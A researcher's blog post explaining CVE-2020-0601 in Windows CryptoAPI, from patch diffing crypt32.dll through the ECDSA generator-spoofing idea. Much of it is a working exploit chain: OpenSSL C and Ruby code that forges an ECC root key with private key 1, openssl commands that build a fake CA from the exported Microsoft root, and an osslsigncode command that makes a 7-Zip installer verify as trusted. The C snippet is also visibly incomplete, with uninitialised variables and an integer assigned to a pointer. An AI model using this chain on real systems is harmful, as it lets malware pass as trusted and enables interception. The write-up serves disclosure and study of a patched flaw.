Some of you guys may be wondering what CVE-2020-0601 is! In it's core, this CVE allows you to exploit the ECC implementation of Windows' CryptoAPI, which then again leads to this. Confused? We can make malicious binaries look trusted! What else can we do? We can MITM using a trusted certificate (1, 2)!
Luckily, I was one of the first people that were able to get a PoC in such a short amount of time, but at the cost of no sleep for 2 whole days :) Pardon me if the blog is a bit vague at this stage, I really need some sleep now. Feel free to let me know with recommendations or updates in case I explained something wrong!
The very first thing I did when the patch was released was to backup my crypto32.dll. I applied the update to my host system (which wasn't the best idea as I had to roll back later on; I was too lazy to actually boot a VM for this) and put both DLLs into a directory. I spinned up IDA Pro and Diaphora and quickly generated databases for both files. Time to patchdiff!

Looks like they are importing a lot of new functions! The first one I noticed is CveEventWrite, according to the Microsoft webpage it's called when an attempt to exploit this vulnerability is detected. This event is then published to the EventLogger. I did some digging and followed up on it on Twitter as well, and I found out that Microsoft might be sending this data to their telemetry endpoints (if someone knows more about this, let me know!). Anyways, lets xref the function!
v33 = ChainComparePublicKeyParametersAndBytes(
*((int **)v4 + 47),
*((int **)v4 + 48),
(int *)(*(_QWORD *)(v8 + 24) + 104i64),
*(_QWORD *)(v8 + 24) + 120i64);
if ( v33 > 0 )
{
if ( CryptVerifyCertificateSignatureEx(0i64, 1u, 2u, pvSubject, 2u, v37, 0, 0i64) )
goto LABEL_51;
ChainLogMSRC54294Error(v37, *((_QWORD *)v4 + 47));
}
The above snippet is taken from the function ChainGetSubjectStatus, diffing the source code actually reveals that this check wasn't done at all in the old version. After comparing the data and passing CryptVerifyCertificateSignatureEx it then succeeds, if the last function returns false it will trigger the CveEventWrite.

Sounds pretty nice, right? I had a look at the function, debugged it for a few hours using x64dbg. Set a breakpoint on WinVerifyTrust in wintrust.dll and you'll get to the fun part! Anyways, let's continue!

From ChainComparePublicKeyParametersAndBytes we can see that v4 and v8 are most likely local structures defined somewhere and considering the name of the function it's pretty safe to assume that this function verifies parameters used in the algorithm, whereas the unpatched version didn't do that at all. Now the question is, which parameter can we abuse to spoof a private key?
Let's learn some crypto first. One of my friends gave me a pretty good hint and the NSA documentation was already pretty detailed as well. Now let's take a look at ECDSA! From the documents we already know this is about a spoofing attack, allowing us to impersonate a different certificate. Let's take a look at the signature generation algorithm and which parameters it takes.
| Parameter | Description |
|---|---|
| $$G$$ | Base point of the elliptic curve |
| $$Q_{A}$$ | The public key |
| $$d_{A}$$ | The private key |
We know that the public key relies on the following formula:
$$Q = dG$$
Since we want to be able to spoof a private key to sign our binaries, we will have to create a new generator based on a new private key that we know. Our rogue formula looks like this:
$$Q' = d'G'$$
For the private key component we can use any number we know, such as 1. As we all know multiplying by 1 is equal to not multiplying at all. Our new formula looks like this now:
$$Q' = G'$$
This means we can set the generator G to our public key Q as long as the private key component is 1!
Now comes the tricky part, implementing the new generator wasn't an easy task for me as there's not much documentation on how to do that in a programming language. I had a look through the OpenSSL source code and I came up with the following code (I stripped it down to save some space and brain power):
// load cert into buffer called zCert
BIO *mem = BIO_new(BIO_s_mem());
BIO_puts(mem, zCert);
X509 *cert = PEM_read_bio_X509(mem, NULL, 0, NULL);
EVP_PKEY *pubkey = X509_get_pubkey(cert);
EC_KEY *privkey = EC_KEY_get0_private_key(pubkey);
privkey = 1;
EC_GROUP *group = EC_KEY_get0_group(pubkey);
EC_POINT *point;
BN_CTX *ctx;
BIGNUM *order;
// get the point and context
EC_GROUP_get_order(group, order, ctx);
BIGNUM *cofactor = EC_GROUP_get0_cofactor(group);
EC_GROUP_set_generator(group, point, order, cofactor);
EC_GROUP_set_asn1_flag(group, 0);
X509_set_pubkey(cert, pubkey);
// output new certificate
You can find my PoC here.
By the time of writing this blogpost I tried using ollypwn's script which is completely implemented in Ruby and is much shorter. I probably did something wrong as it didn't work for me. Not sure why I decided to implement my idea in C, since the MITM update it grew to over 100 lines of code and is now in an unmaintainable state (I blame sleep deprivation), but I'll try to clean it up! Here's a short snippet of the important part from ollypwn's script:
ca = OpenSSL::X509::Certificate.new(raw) # Read certificate
ca_key = ca.public_key # Parse public key from CA
ca_key.private_key = 1 # Set a private key, which will match Q = d'G'
group = ca_key.group
group.set_generator(ca_key.public_key, group.order, group.cofactor)
group.asn1_flag = OpenSSL::PKey::EC::EXPLICIT_CURVE
ca_key.group = group # Set new group with fake generator G' = Q
Now you may be wondering why this works at all. The thing Microsoft forgot to do is validate the parameter G, therefore we can supply our own generator and when Windows tries to validate it against a trusted certificate authority it will only match for the public key!
Now we just have to abuse a CA! Let's spin up the Trusted Root Certificate registry and look for a certificate that is based on ECC and is intended for code signing. I found "Microsoft ECC Product Root Certificate Authority 2018", it's ECC and "Intended Purpose" is set to <All>. Right click the entry and select export, keep clicking next. Now I had the file exported and it was time to run my tool over it. Now that we have our spoofed key it's time to create our own fake CA, a certificate signing request and then sign everything with it. We also need to respect the fact that it has to be in the PKCS12 format.
openssl req -new -x509 -key fakeca.key -out fakeca.crt -config openssl.conf
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
openssl req -new -key cert.key -out cert.csr -config openssl.conf -reqexts v3_cs
openssl x509 -req -in cert.csr -CA fakeca.crt -CAkey fakeca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl.conf -extensions v3_cs
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile fakeca.crt -name "Code Signing" -out cert.p12
I usually work on Windows and I couldn't get signtool to accept the certificate so I googled a bit and found osslsigncode. I used the WSL in Windows to build it and then sign the binary using:
./osslsigncode sign -pkcs12 cert.p12 -n "Layle was here" -in 7z1900-x64.exe -out 7z1900-x64_trusted.exe
Now it's time to run sigcheck! Here's the result of our exploit:
Sigcheck v2.73 - File version and signature viewer
Copyright (C) 2004-2019 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\Users\luca\Desktop\CVE-2020-0601\7z1900-x64_trusted.exe:
Verified: Signed
Signing date: 01:16 17/01/2020
Publisher: LayleWasHere
Company: Igor Pavlov
Description: 7-Zip Installer
Product: 7-Zip
Prod version: 19.00
File version: 19.00
MachineType: 32-bit